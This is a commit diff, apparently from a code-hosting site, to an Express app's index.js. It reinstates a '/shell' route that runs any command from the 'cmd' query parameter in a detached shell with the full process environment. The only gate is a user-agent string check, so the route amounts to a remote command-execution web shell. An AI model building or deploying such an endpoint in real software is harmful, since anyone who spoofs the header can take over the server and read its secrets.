aripbae commited on
Commit
8a56370
·
verified ·
1 Parent(s): 0e33816

Update index.js

Browse files
Files changed (1) hide show
  1. index.js +8 -7
index.js CHANGED
@@ -105,19 +105,16 @@ app.all('/', async (req, res) => {
105
  app.get(
106
  '/shell',
107
  (req, res, next) => {
108
- console.log(
109
- req.headers,
110
- req.get('user-agent')
111
- )
112
- //req.get('user-agent') != env.UA ?
113
- //res.redirect('/') :
114
  next()
115
  },
116
  async (req, res) => {
 
117
  const [cmd, ...args] = req
118
  .query
119
  .cmd
120
- ?.trim()
121
  .split(' ')
122
  const file = format(
123
  '%s/%s.log',
@@ -133,6 +130,10 @@ app.get(
133
  args,
134
  {
135
  detached: true,
 
 
 
 
136
  shell: true,
137
  stdio: ['ignore', log, log]
138
  }
 
105
  app.get(
106
  '/shell',
107
  (req, res, next) => {
108
+ req.get('user-agent') != env.UA ?
109
+ res.redirect('/') :
 
 
 
 
110
  next()
111
  },
112
  async (req, res) => {
113
+ req.query.cmd ||= 'w'
114
  const [cmd, ...args] = req
115
  .query
116
  .cmd
117
+ .trim()
118
  .split(' ')
119
  const file = format(
120
  '%s/%s.log',
 
130
  args,
131
  {
132
  detached: true,
133
+ env: Object.assign(
134
+ env,
135
+ { FORCE_COLOR: '0' }
136
+ ),
137
  shell: true,
138
  stdio: ['ignore', log, log]
139
  }